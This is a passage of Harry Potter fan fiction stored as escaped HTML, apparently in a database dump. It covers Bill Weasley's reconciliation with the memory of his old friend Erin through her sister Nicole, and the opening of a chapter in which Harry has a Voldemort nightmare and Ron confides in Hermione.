&#8230;</p>\n\n<p>The only distraction, Ron thought, was that Bill kept twisting that dammed copper bracelet on his wrist.&nbsp; At first glance, it was nothing out of the ordinary &#8230; a dark metallic bracelet of no remarkable design, and looking much like the copper bracelet that Seamus Finnegan had shown them once, claiming that his Muggle Dad wore one for his health(of all things!),&nbsp; and which he had sent to Seamus in the dark days before Harry destroyed the basilisk and Tom Riddle.</p>\n\n<p>The only thing different about the bracelet that Bill was wearing were the words etched on it &#8230; Ron could make out the letters, &#8220;<i>Cor &#8230;</i>&#8221; something, followed by some numbers, which he quickly assumed was the mysterious Erin&#8217;s full name.&nbsp; He&#8217;d been so engrossed in his story, and trying to make out the name on the bracelet that he didn&#8217;t realize that his story had ended &#8230; and that Bill was asking him a question.</p>\n\n<p>&#8220;So what do you want to do about it, Ron?&#8221;</p>\n\n<p>&#8220;Huh?&#8221; He&#8217;d looked at Bill in surprise &#8230; Bill, with a sigh, repeated his question -- and Ron had to face the question that he&#8217;d been asking himself since early that morning: &#8216;What the hell do <i>I </i>want to do about it?&#8217;</p>\n\n<p>&#8220;Why not just tell her?&#8221;</p>\n\n<p>Ron looked at his brother in horror, &#8220;Tell her <i>what</i>, Bill? Tell her that I think I <i>like</i> you and I would like to rock your socks? Tell her that, hey, I just realized you&#8217;re a <i>girl</i>, after four years of thinking of you as just another one of the guys? Tell her I&#8217;ve had this crush on you since our first year, only you were too bossy and such a know-it-all that you were a nightmare to be with &#8230;&#8221;</p>\n\n<p>&#8220;Why not tell her the truth? That you like her a lot, and that you want to be more than &#8216;just friends&#8217; with her?&#8221;</p>\n\n<p>&#8220;And if she laughs in my face? If she tells me that she likes me as a brother and as a friend &#8230; but she cannot think of me as being anything <i>more</i> than a friend? What if she <i>turns me down, </i>Bill?&#8221;</p>\n\n<p>&#8220;Then at least everything is clear &#8230; no expectations, no recriminations, <i>no regrets</i>.&nbsp; Better to know what the score is, rather than brood and imagine things that may or may not be ... and ruin a friendship with your best friend.&#8221;</p>\n\n<p>&#8220;<i>Which</i> best friend are you talking about, Bill? Harry or Hermione?&#8221;</p>\n\n<p>&#8220;Both.&#8221;</p>\n\n<p>Blue eyes clashed with blues, but Ron couldn&#8217;t sustain the game; in truth, his heart wasn&#8217;t in it because he recognized the truth in his brother&#8217;s statement.&nbsp; But a stubborn streak in him refused to accept, and he cast about for something else to say &#8230;</p>\n\n<p>&#8220;I don&#8217;t envy you, Ron.&#8221; He snapped around to stare at Ginny, who&#8217;d been so quiet the last few minutes that he&#8217;d totally forgotten about her.&nbsp; She sat on her bar stool beside Bill, absently swirling her glass of gillywater with a finger, and staring down into its depths. She looked into his eyes and continued, &#8220;At least I have nothing to lose with Harry &#8230; he will always think of me as your sister, he will always think of me as that silly little girl who&#8217;s had a crush on him since first year &#8230;&#8221;</p>\n\n<p>&#8220;And the person he saved from the Chamber of Secrets,&#8221; Ron reminded.</p>\n\n<p>Ginny smiled, wistfully. &#8220;Yes, there is that. But don&#8217;t you see, Ron? <i>I</i> owe him a debt &#8230; he doesn&#8217;t owe me anything.&nbsp; And &#8230; knowing Harry, he wouldn&#8217;t know what to do with a wizard&#8217;s debt if it bites him on the &#8230; ah &#8230; elbow!</p>\n\n<p>&#8220;I&#8217;ll have an easier time than you, Ron &#8230; I can go on with my life, make myself stop asking &#8216;What if,&#8217; learn to stop blushing when Harry speaks to me, and give him all the friendship and support he needs, if ever he realizes that I&#8217;m there.&#8221;</p>\n\n<p>Ron looked at his sister in surprise, realizing that she was maturing fast, and learning to accept things that could never be.&nbsp; While he felt relief that his sister was learning to accept reality, he couldn&#8217;t help but feel a tinge of regret that Harry and Ginny would never really hit it off.</p>\n\n<p>It would have been the perfect solution, he thought.&nbsp; Harry and Ginny, him and Hermione &#8230; One Big Happy Weasley Family, with their homes adjoining each other, their children playing together as close friends first and cousins second, Ginny and Hermione exchanging recipes and household tips &#8230;</p>\n\n<p>And <i>that</i>, he realized, again, was another aspect he&#8217;d overlooked.&nbsp; He could easily imagine his best friends and himself as a member of one big happy family &#8211; but he could not imagine Hermione playing the &#8220;traditional&#8221; role of a housewife and mother that his own Mum had filled.&nbsp; She was simply too headstrong, too independent-minded (and too bossy by nature) to fill a traditional role in a traditional household &#8230;</p>\n\n<p>She made a perfect complement to Harry, he realized &#8230; something that had been proven too many times in their shared past. But the stubborn part of his nature held on &#8230; in constant conflict with his essentially giving and sacrificial nature.&nbsp; He&#8217;d given up too many things when he was growing up to let something wonderful slip away without a struggle &#8211; no matter what his eyes, and the eyes of everyone else told them ... no matter what today and so many other incidents in their time together showed him &#8230;</p>\n\n<p>&#8220;Who&#8217;s Corinne?&#8221; he asked, absently. Bill raised an eyebrow at this, knowing full well that he was trying to divert the discussion, but wondering where <i>that</i> question came from. Ron gestured at his bracelet; glancing at it, Bill gave a bitter smile and twisted it around to let them read the inscription written there: &#8220;<i>1 Corinthians 13: 4-8</i>.&#8221;</p>\n\n<p>Ron looked at him, confused &#8230; he&#8217;d thought that it was a gift from Erin (which he&#8217;d assumed was a nickname for Corinne) but the words held no meaning for him. He repeated them aloud, and was startled to hear an unfamiliar voice speak up behind him: </p>\n\n<p>&#8220;It&#8217;s from the Bible, first letter of St. Paul to the Corinthians, Chapter 13, verses four to eight.&#8221; The siblings turned around, surprised, to see their new friend Amelia Wright standing there behind them.</p>\n\n<p>&#8220;I&#8217;m sorry,&#8221; she said in apology. &#8220;I couldn&#8217;t help but overhear &#8230; my sister and brother practically dinned that verse into my ears when I was growing up, and I was surprised that it was also familiar in your world.&#8221;</p>\n\n<p>Bill looked at her curiously, for there was something in the timbre of her voice that he caught, but couldn&#8217;t place &#8211; and he felt something breaking off within him, like an iceberg calving off a glacier as a sudden thought struck him.&nbsp; His brother and sister, however, were pressing Amelia to explain what the verse meant, and she answered, her eyes were locked with Bill&#8217;s: </p>\n\n<p>&#8220;<i>Love is patient, love is kind. It does not envy, it does not boast, it is not proud. It is not rude, it is not self-seeking, it is not easily angered, it keeps no record of wrongs. Love does not delight in evil, but rejoices with the truth. It always protects, always trusts, always hopes, always perseveres. Love never fails.</i>&#8221;</p>\n\n<p>Nicole paused for a moment, and said, softly, &#8220;My brother and sister always changed that last line to, &#8220;<i>Love is never lost.</i>&#8221;</p>\n\n<p>Silence descended on the four: Ron and Ginny looking within themselves as they pondered the words written by a wise man centuries before the foundation of Hogwarts, speaking about a universal truth that few seemed to understand, two millennia or more since he&#8217;d first penned them, while Bill and Nicole locked eyes, something unspoken moving between them ...</p>\n\n<p>The moment was broken, however, by sounds much like the popping of corks from champagne bottles &#8211; three loud pops which made heads turn all over the tavern to locate the source of the noise.</p>\n\n<p>In the middle of the room, three teenaged wizards slowly put down their mugs and stared at each other. They looked like refugees from the early seventies &#8211; all three in robes of psychedelic colors that would have shamed Joseph&#8217;s Coat of Many Colors into a closet, wearing peace symbols on chains around their necks, all wearing round sunglasses made popular by a wizard turned muggle entertainer named John Lennon &#8211; two with enormous Afro hairdos that made them look like cherry-flavored lollipops, the other a thin black boy in the same enormous Afro hairdo but with black hair and tiny ribbons here and there.</p>\n\n<p>The latter spoke first, in a voice surprisingly like that of Lee Jordan: &#8220;Now what the hell did you two <i>morons</i> think you were doing?&#8221;</p>\n\n<p>One of the cherry lollipops responded in the voice of George Weasley: &#8220;What do you mean <i>we</i>, pale-face?&#8221;</p>\n\n<p>The other lollipop piped up, &#8220;Yeah, what do you mean <i>we</i>?&#8221;</p>\n\n<p>The Lee Jordan-turned-seventies-hippie snarled, &#8220;Who else can it be but you two?&#8221;</p>\n\n<p>The second lollipop snarled back, &#8220;Don&#8217;t look at us, mate! We haven&#8217;t even thought of something like this!&#8221;</p>\n\n<p>&#8220;Don&#8217;t give me that! You&#8217;re the only ones around who would do something like this!&#8221; Lee-the-hippie screamed back. &#8220;Do something before I hex you into next week!&#8221;</p>\n\n<p>The bickering trio suddenly stopped as they heard giggles coming from different parts of the tavern &#8230; the giggles soon turning into a roar of laughter as people realized that the tables had been turned on the greatest jokesters in Hogwarts since the days of the legendary Marauders. The three hippies looked around them and at each other &#8230; and soon, all three were clutching their stomachs as laughter overtook them &#8230; Colin Creevey&#8217;s camera flashed, and the three refugees from another era obligingly struck poses with various wizards and witches, with Colin&#8217;s camera flashing again and again to record the event for posterity &#8230;</p>\n\n<p>Bill was wiping the tears from his eyes when he suddenly turned to Nicole: &#8220;Why do I have the feeling that you know something about this?&#8221;</p>\n\n<p>Ron and Ginny stared in surprise; Nicole, however, tried to keep a straight face as she responded, &#8220;Don&#8217;t look at me! Cindy and Carolyn asked me to order three butterbeers to be sent over to them &#8230; I don&#8217;t know what they did with it!&#8221;</p>\n\n<p>Bill, Ron and Ginny turned around in time to see the two young girls giving each other high fives when the Twins&#8217; backs were turned, broad grins on their faces and both with tears falling down their cheeks from their laughter. </p>\n\n<p>Ginny turned to Ron with a smile, &#8220;You&#8217;re gonna have a lot of trouble with those two, Ronnie!&#8221;</p>\n\n<p>Before Ron could snarl back a response, Tom the bartender bustled up, tears also streaming from his eyes, and told them that a room was available and lunch would be served there for them.&nbsp; Turning to Ginny, he said, &#8220;Ask your friend with the camera to send me a full set of pictures, Virginia &#8230; this will be the talk of the tavern for months to come!&#8221;</p>\n\n<p>As the four stood up, Bill turned to Ron and Ginny: &#8220;You two go on ahead. I think Nicole and I have to talk.&#8221;</p>\n\n<p>The two looked from him to Nicole Wright, who nodded and asked them to bring Carolyn in with them.&nbsp; As they walked away, she turned to Bill Weasley and said: &#8220;Yes. I&#8217;m Erin&#8217;s sister.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p><i>What could I do about it?</i></p>\n\n<p><i>I resolved to break off her enchantment for me ... to fight off that feeling I had for her.&nbsp; I hoped that the passage of time would disprove me ... that my feelings for Erin were only an illusion ... only an obsession ... just another infatuation.</i></p>\n\n<p><i>And yet ... something within me always refused to let her know.&nbsp; I knew there would be no satisfactory explanation I could give her for saying &quot;good bye&quot; ... to turn my back on the friendship we had before.&nbsp; She knew me too well to accept anything I would tell her.&nbsp; I didn\'t want her to know ... or even suspect ... what I truly felt for her.</i></p>\n\n<p><i>And ... yes ... I was a coward to myself.&nbsp; Seeing her would only open up too many things I wanted to avoid.&nbsp; More, I was so afraid that doing so would only hurt both of us ... in truth, I knew I would hurt myself more than it would hurt her ... and I didn\'t want that.</i></p>\n\n<p><i>I just wanted to <b>go</b> ...</i></p>\n\n<p><i>And I did.</i></p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;But you&#8217;re a &#8230; a &#8230;&#8221;</p>\n\n<p>&#8220;Squib,&#8221; Nicole completed. &#8220;Don&#8217;t be bothered by it &#8230; I&#8217;ve had years to live with the fact.&#8221;</p>\n\n<p>&#8220;I was going to say &#8216;Muggle,&#8217; but all right.&#8221; Bill paused, unsure of where to go with this.</p>\n\n<p>&#8220;Remus and Erin tried their best to make me feel no different from them, but &#8230;&#8221; and she sighed. &#8220;It was difficult growing up &#8230; seeing them do things that I couldn&#8217;t do, having your parents and relatives trying everything they can to scare the magic out of me.&nbsp; They finally gave up when there was no Hogwarts letter the summer of my eleventh birthday.&#8221;</p>\n\n<p>Bill didn&#8217;t reply; what can one say? He&#8217;d met his share of Muggles &#8230; sometimes pitied them but always understood them, realizing that their not knowing about the magical world was best &#8230; but what about those who knew about magic &#8211; and didn&#8217;t have one iota of magic in their blood?</p>\n\n<p>Nicole continued, &#8220;Which was why they kept on drumming that verse into my mind &#8211; they kept telling me that it didn&#8217;t matter that I was non-magical, that I was still their youngest and they still loved me &#8230;&#8221;</p>\n\n<p>&#8220;It must have been &#8230; difficult,&#8221; Bill said, awkwardly.&nbsp; </p>\n\n<p>Nicole smiled at him and shook her head.&nbsp; &#8220;She remembers you with fondness, you know. She told me that you were her best friend in the world &#8230; that you were the brother and friend that she felt she &#8230; lost &#8230;&#8221; </p>\n\n<p>&#8220;Lost?&#8221; Bill&#8217;s brain was in a jumble; too much information to absorb, and he was having a difficult time doing his best to stop himself from blurting out the question he truly wanted to ask. &#8220;I thought you said &#8230;&#8221;</p>\n\n<p>He suddenly stared at Nicole, and whispered, &#8220;Is Remus <i>Lupin</i> your brother? Is that why &#8230;&#8221;</p>\n\n<p>He fell silent.&nbsp; He had always known that Erin was related to Remus, one-fourth of the legendary Marauders that had included James Potter and the escaped murderer Sirius Black.&nbsp; And last year &#8230; he&#8217;d been shocked to learn that Remus Lupin, who had taught Defense Against the Dark Arts in Ron&#8217;s third year, was actually a werewolf &#8230; but his mind hadn&#8217;t connected the fact that Erin and Remus were brother and sister &#8230; and he wondered at the pain and torture that Nicole had gone through: brother a werewolf, she herself a Squib, and a sister who &#8230;</p>\n\n<p>&#8220;She&#8217;s doing quite well,&#8221; Nicole said, almost as if reading his mind. &#8220;She went to North Carolina in the United States with Richard.&nbsp; She and Remus were very excited when I told her that Carolyn was accepted at Hogwarts &#8230;&#8221;</p>\n\n<p>Bill turned away, not knowing how to react to the news.&nbsp; Much as he was glad to learn something of an old flame, he could once more feel the shame, embarrassment and painful regrets of those days. He looked at the journal he still held, recalling Erin&#8217;s last letter to him &#8230;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p><i>Dear Bill ...</i></p>\n\n<p><i>You told me once, back when we first became friends, that:</i></p>\n\n<p>&quot;Sometimes, the love you hold for a person can never be realized in the usual ways.&nbsp; At the moment of realization, it begins to change ... away from selfishness to one of truly caring without the need for any actual \'return.\'</p>\n\n<p>&quot;Love is never lost.&quot;</p>\n\n<p><i>I remember laughing at you... teasing you for being an incurable romantic, in a time when romance -- like chivalry -- was dead and gone with the dodoes.</i></p>\n\n<p><i>I now know it can be. I have come to realize that the love shared in that kind of friendship can be as precious as other relationships.&nbsp; It can also have as much meaning ... and maybe more, much more.</i></p>\n\n<p><i>Because it is founded on friendship.&nbsp; </i></p>\n\n<p><i>And respect for each other.</i></p>\n\n<p><i>I can understand it all now, my friend.&nbsp; </i></p>\n\n<p><i>And ... I am very sorry for laughing at you.</i></p>\n\n<p><i>Please. </i></p>\n\n<p><i>Be around for a while longer.</i></p>\n\n<p><i>Please, my friend?</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Erin</i></p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>He could remember laughing, bitter tears falling down his face, as he read the letter &#8211; and tore it to shreds. &nbsp;He could recall with clarity throwing the copper bracelet she enclosed with the letter into the fireplace of his Head Boy&#8217;s dormitory &#8230; and, hours later, streaming still-bitter tears, reassembling the letter with Spell-o-tape &#8230; crawling to and pulling out the copper bracelet from the fire and performing a charm to remove the damage done by the fire.</p>\n\n<p>But he never backed down from his resolution: he cut himself off from Erin and Richard, preferring to throw himself into his books, OWLs and NEWT preparations, fully focused on ensuring that he got top marks &#8211; and his choice of career after graduation. Erin had tried to reach him &#8230; but after pointedly ignoring her every time they chanced to meet in the corridors of Hogwarts, she returned his denial of their friendship in full measure &#8230;</p>\n\n<p>No more talks, no more walks &#8230; no more letters or notes, from the time he learned that she and Richard were an item &#8230; all that he had left of his friendship with Erin were his memories &#8230; the journal he put together during those first lonely weeks in Cairo &#8230; and the copper bracelet he still wore as a reminder to himself of the pain and loss that he caused himself.</p>\n\n<p>And all for <i>what</i>, he asked himself yet again. Because he could not accept that his best friend was in love with his <i>other</i> best friend? Because he chose to <i>ignore</i> what he could see with his own eyes &#8211; that, no matter how close he and Erin were, she and Richard seemed to communicate on a totally different level &#8211; one where nothing needed to be said, nothing had to be written but they each acted as if the other was sharing the same brain?</p>\n\n<p>Because he felt <i>betrayed</i> by his best friends him because they fell in love with each other?</p>\n\n<p>Or were they already in love with each other from the very beginning, while he &#8230; was simply in love with love?</p>\n\n<p>&#8220;&#8230; She wants to know if you have finally forgiven her.&#8221;</p>\n\n<p>His eyes, his brain, his <i>mind</i> flew back to the present, and he looked in utter shock at Nicole. &#8220;Forgive her? I have nothing to forgive her for &#8230; I should be the one to ask for forgiveness from her!&#8221;</p>\n\n<p>&#8220;But you never <i>told</i> her, Bill. You never told her how you felt about her &#8230;&#8221;</p>\n\n<p>His eyes locked with hers, and he asked the question that he knew the answer to: &#8220;Would it have changed anything, Nicole?&#8221;</p>\n\n<p>She broke away from his blazing eyes and whispered, &#8220;No. She had given her heart to Richard, as he had &#8230; but at least everything would have been clear to both of you. There would have been no expectations, no recriminations, <i>no regrets</i>.&#8221;</p>\n\n<p>&#8220;And I wouldn&#8217;t have lost a friend.&#8221;</p>\n\n<p>&#8220;You never lost her, Bill.&#8221; He looked at her, puzzled, and she continued. &#8220;She always felt she lost <i>you</i> &#8230;&#8221;</p>\n\n<p>He opened his mouth to protest, but stopped &#8230; and nodded. Yes, he thought, that was the way Erin was &#8230; she would think that she was to blame, that it was her fault for not understanding him or not realizing his feelings sooner &#8230; but knowing, in the end, that there was nothing she could do about it.</p>\n\n<p>She would have accepted the cards that Destiny dealt her, and would leave him alone to sort it out. How could she have known, he wondered, that it would take him <i>years</i> to finally sort it all out?</p>\n\n<p>He felt a hand tapping his shoulder, and turned to look into the emerald-green eyes of his brother&#8217;s best friend. &#8220;Aren&#8217;t you joining us, Bill? Nicole?&#8221;</p>\n\n<p>He took a deep breath. &#8220;In a minute, Harry. Why don&#8217;t you and Hermione go on ahead? We&#8217;ll be there in a few minutes.&#8221;</p>\n\n<p>Harry looked at them for a moment, and turned away to walk towards Hermione, once again burdened with the day&#8217;s shopping &#8211; and Hermione&#8217;s books.&nbsp; He watched them for a moment and whispered to himself, &#8220;And history repeats itself.&#8221;</p>\n\n<p>&#8220;I hope not.&#8221; </p>\n\n<p>He turned back to Nicole and smiled. &#8220;It won&#8217;t. I think I can promise that.&#8221;</p>\n\n<p>He drew his wand and waved it over his journal, reducing it back to its small, pocket-sized form.&nbsp; As he was about to tuck it away, Nicole stopped him, holding the hand and the journal.&nbsp; Before he could react, she had reached up and given him a kiss on the corner of his lips.</p>\n\n<p>&#8220;Erin would have wanted to give you that,&#8221; she said, and handed him a small card. &#8220;As well as this.&#8221;</p>\n\n<p>He glanced at the card &#8230; and the words broke off the iceberg that surrounded his heart: &#8220;<i>I have been, and always will be, your friend.</i>&#8221;</p>\n\n<p>Underneath the words were an address in North Carolina, and he smiled at Nicole as he tucked the card into his journal, which he carefully placed in its customary location &#8211; in the pocket just over his heart.</p>\n\n<p>&#8220;Thank you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p><b>&nbsp;</b></p> '),
	(125, 10, ' <p>Epiphanies 09</p>\n\n<p>(<b>Author&#8217;s Notes.</b>&nbsp; The usual disclaimers, this is a work of fiction built around JK Rowling&#8217;s masterful Harry Potter universe, yadda,yadda, yadda. As usual, a million thanks to all those who reviewed the previous chapters.</p>\n\n<p>For all those who were asking for more H/Hr, sorry to disappoint you.&nbsp; There&#8217;s almost no H/Hr action here, but there&#8217;s a reason behind it all. Please read and review!)</p> Chapter 9.&nbsp; Darkness Descending <p>It was a two-toned world &#8230; black and white with every shade of grey in between. The only illumination came from the brilliant orb of the moon and the cold, sparkling light of the stars as they stared with cold indifference on the world below them. They&#8217;d been witness to the calumnies of men, both Muggle and Magical, over countless millennia; if they knew any secrets, they kept these to themselves in spite of the efforts of ordinary mortals, astrologers, Seers &#8230; or centaurs.</p>\n\n<p>Harry Potter rubbed his eyes &#8230; and felt a sense of panic as he realized that his glasses were gone.&nbsp; He wondered whether that was the cause of his seeming color-blindness but realized, in the next moment, that the world around him was that way: cold, forbidding, grey.</p>\n\n<p>There was no sense of familiarity about this place, even to his blurred eyes.&nbsp; It was not the village of Ottery St. Catchpole &#8230; neither was it the neighborhood surrounding No. 4 Privet Drive. For a second, he wondered whether it was Hogsmeade Village &#8211; but no, he could not make out the dilapidated walls of the Shrieking Shack, or the warm sign of the Three Broomsticks &#8230; or the other houses and shops that he&#8217;d grown familiar with in the two years he&#8217;d been allowed to visit the tiny wizarding village.</p>\n\n<p>This must be a dream, but what did it mean? He&#8217;d fallen into a comfortable sleep last night, after spending a most enjoyable evening with Hermione, Ron and the usual cast of characters in what he called the Weasley Common Room &#8211; although there was something off-kilter about it: Hermione and Ginny playing Exploding Snap, the Twins playing Wizard&#8217;s Chess, Molly knitting while Arthur discussed the latest developments at the Ministry with Percy &#8230; Ron and himself, reading.</p>\n\n<p>Reading?</p>\n\n<p>Ron was perusing what looked like an old, beat-up journal with seemingly avid interest, his eyes running down each page swiftly &#8230; but just as often stopping, and looking off into the distance, brow furrowed in deep thought &#8211; although Harry had felt several moments when he thought that Ron was staring at him, only to look up to see Ron either looking away, or else seemingly focused on Hermione.</p>\n\n<p>And as for him?&nbsp; He was reading a book of Ancient Runes &#8230; which may well have sent his dorm-mates into epileptic shock.&nbsp; Why should he, Harry Potter, the greatest slacker next to Ron Weasley among the fifth-year Gryffindors, be spending the last few days of summer reading up on a subject he was not even taking up? Or rather, that he was not <i>yet</i> taking up.&nbsp; He&#8217;d made the decision some time during the day before &#8230; probably when he was reading the book that Hermione had &#8216;lent&#8217; him, and which he had lugged around all over Diagon Alley (along with her other books) &#8230;</p>\n\n<p>He nearly slapped himself at the thought. The decision to take Ancient Runes was made the moment he found himself staring at his best friend in the Leaky Cauldron, thinking to himself yet again, as he had since the Yule Ball last year, that Hermione was not just brainy, bossy and a general know-it-all &#8230; but was absolutely &#8230; beautiful.</p>\n\n<p>At least, to his eyes.</p>\n\n<p>Unconsciously he began rubbing his forehead &#8230; and felt as if he was slowly turning to ice &#8230; as if someone or something had sucked out the warm marrow from his bones and was slowly pouring in bucket after bucket of ice-cold water &#8230; </p>\n\n<p>His scar was aching.</p>\n\n<p>It wasn&#8217;t the sharp, acute pain that he&#8217;d felt before &#8230; it was a sustained, throbbing pain; for a brief moment, he wondered if it was the mere thought of his best friend and how she looked to his eyes that was keeping the worst of the pain away.</p>\n\n<p>He shook off that thought &#8211; and felt the pain suddenly explode as he fell to his knees. It was excruciating; he tried to stifle his screams and the agony in his bones by clamping down, hard &#8230; grinding his teeth as he fought against the pain &#8230;</p>\n\n<p>He tried to bring back the picture of his best friend, tried to bring back the pleasant memories of that day in the same way that he prepared himself to cast a Patronious, but failed &#8230; the pain was piercing, radiating from his scar down his marrow to his extremities and he doubled over in pain, as he felt movement around him &#8230; sensed them moving towards a small, isolated house at one edge of the unfamiliar village.</p>\n\n<p>He tried to hide but knew that he could not &#8230; realizing, in the same moment, that this was but a dream, a nightmare even, but powerless to stop it &#8211; and feeling fear at the memory of other dreams, other nightmares &#8230; especially those that he&#8217;d had since he stepped into the hallowed walls of Hogwarts.&nbsp; </p>\n\n<p>His wand! A simple &#8220;Lumos!&#8221; -- and he experienced true panic as he realized that it wasn&#8217;t on him &#8230; and he clamped down again, feeling his teeth encountering cloth and other things as he tried to stifle his screams &#8230; through his tightly clenched eyes he felt, more than saw, a wash of green light emanating from that isolated house outside the unfamiliar village &#8230; </p>\n\n<p>Harry thrashed and kicked, fighting his way out of the dream, the <i>nightmare</i> that assailed him &#8230; screamed once again into the cloth that had stifled his yells as he heard the high, cold voice that haunted the deepest regions of his subconscious roar: &#8220;<i>MORSMORDRE!</i>&#8221; </p>\n\n<p>As the Dark Mark exploded into the sky, Harry felt his clenched fist slam into the night table and pain lanced through his arm &#8230; felt the nightmare dissolve as his conscious mind registered the tiny bedroom, his sweat-soaked clothes and the pillow he&#8217;d been clutching and which had helped muffle his screams &#8230; felt someone holding him, trying to shake him from his nightmare.</p>\n\n<p>He reached out, eyes glazed and stinging from the sweat that had poured over his face &#8230; unable to see anything clearly without his glasses, but needing to hold on to someone, to assure himself that he was out of his nightmare and in the real world &#8230; felt himself embracing whoever it was like a drowning man clutching an extended arm, and felt himself hugged back &#8230; </p>\n\n<p>He felt a fleeting warmth in that human contact and drew in a deep, ragged breath &#8230; felt himself relaxing momentarily, and released the air in his lungs with a whispered, &#8220;Mione?&#8221;</p>\n\n<p>He felt the person holding him stiffen and pull away; confused, he let go and grabbed for his glasses by the night-stand &#8230; before he could even put them on, his mind registered a flash of red hair &#8230; as his eyes finally focused through the lens of his glasses, they met a pair of shiny blue eyes that held an infinite sadness and a look of reproach as she stared back at him &#8230;</p>\n\n<p>&#8220;Ginny?&#8221; he whispered.&nbsp; He spun around, quickly registering the undisturbed and empty bed beside him, and asked, &#8220;Where&#8217;s Ron? And Hermione?&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;It&#8217;s Harry, isn&#8217;t it?&#8221;</p>\n\n<p>The moon and stars spread their silvery light over the grounds of the house just outside Ottery St. Catchpole &#8230; and the words floated in the air between them. For a brief moment, it seemed as if the world was waiting in breathless anticipation for the answer to the question raised.</p>\n\n<p>Ron looked at the person sitting beside him on the bench and wondered again at the changes that had taken place over the years of his friendship with her.&nbsp; His mind drifted &#8230; comparing the person beside him with the girl he first met on the Hogwarts Express years ago.&nbsp; At first glance, nothing much had changed &#8211; the same bushy brown hair, the same look of intelligence in her brown eyes, the same nose, lips and chin &#8230; her teeth as she bit her lower lip were the only things different from the memory he held of her.</p>\n\n<p>He sighed, wondering where he found the courage to follow Hermione when he heard her stirring awake and walking out of the room she shared with Ginny&nbsp; &#8230; how he found the nerve to watch as she sat on the bench outside The Burrow where she had sat with Harry, watching yesterday&#8217;s dawn &#8230; where he found the strength to sit beside her calmly &#8211; and open up about his confused and conflicting feelings for her.</p>\n\n<p>&#8216;Bill&#8217;s diary,&#8217; he answered himself. &#8216;Where else?&#8217;</p>\n\n<p>It was surprising &#8211; but at the same time, gratifying &#8211; when Bill pressed the journal into his hands when they were saying their goodbyes at the Leaky Cauldron.&nbsp; He had (somewhat cheekily, he thought) asked if there was anything <i>interesting</i> that he should know about Erin, Nicole, or Carolyn before Bill left for Cairo.&nbsp; Bill&#8217;s response was a smile &#8230; and the journal.</p>\n\n<p>He still didn&#8217;t know what he truly felt after reading Bill&#8217;s &#8230; memoirs. It was exhilarating at the start, looking into the innermost thoughts and feelings of a younger Bill &#8211; the larger than life brother who was their hero and icon &#8230; but at some point, he felt as if he were riding a hexed broomstick, as he felt his emotions zoom up and crash down the deeper he got into Bill&#8217;s story &#8230;</p>\n\n<p>And he began to wonder, what was the point of it all?</p>\n\n<p>Why had Bill given him the diary in the first place?</p>\n\n<p>Of course.</p>\n\n<p>He&#8217;d been so engrossed in reading that he had simply nodded distractedly as the others went up to bed; he must have read and re-read portions of it so many times that the words seemed imprinted on his eyes &#8230; and he had sat in his chair in the living room, immobile and so sunk in his thoughts, that he&#8217;d actually fallen asleep right there.</p>\n\n<p>Only to be awakened by the sounds of Hermione coming down &#8230; and walking out to the bench outside The Burrow.</p>\n\n<p>It was that darned thing, Ron thought, that made him do this &#8230; follow Hermione out to the bench, made him sit down beside her &#8230; and forced the jumbled, rambling and incoherent words out of his mind.</p>\n\n<p>But as he talked and tried to arrange his jumbled thoughts and emotions into some logical order, he began to realize the futility of his plans and intentions.&nbsp; It wasn&#8217;t a mere crush that he felt for Hermione Granger; it was a combination of so many things: admiration for her intelligence and strength, appreciation for all the academic help over the years, respect for the loyalty and affection that she showed him, even during the worst days of the Scabbers incident &#8211; and his falling out with The-Boy-Who-Lived.</p>\n\n<p>And yes &#8230; there was the comfort of having her as a friend: someone 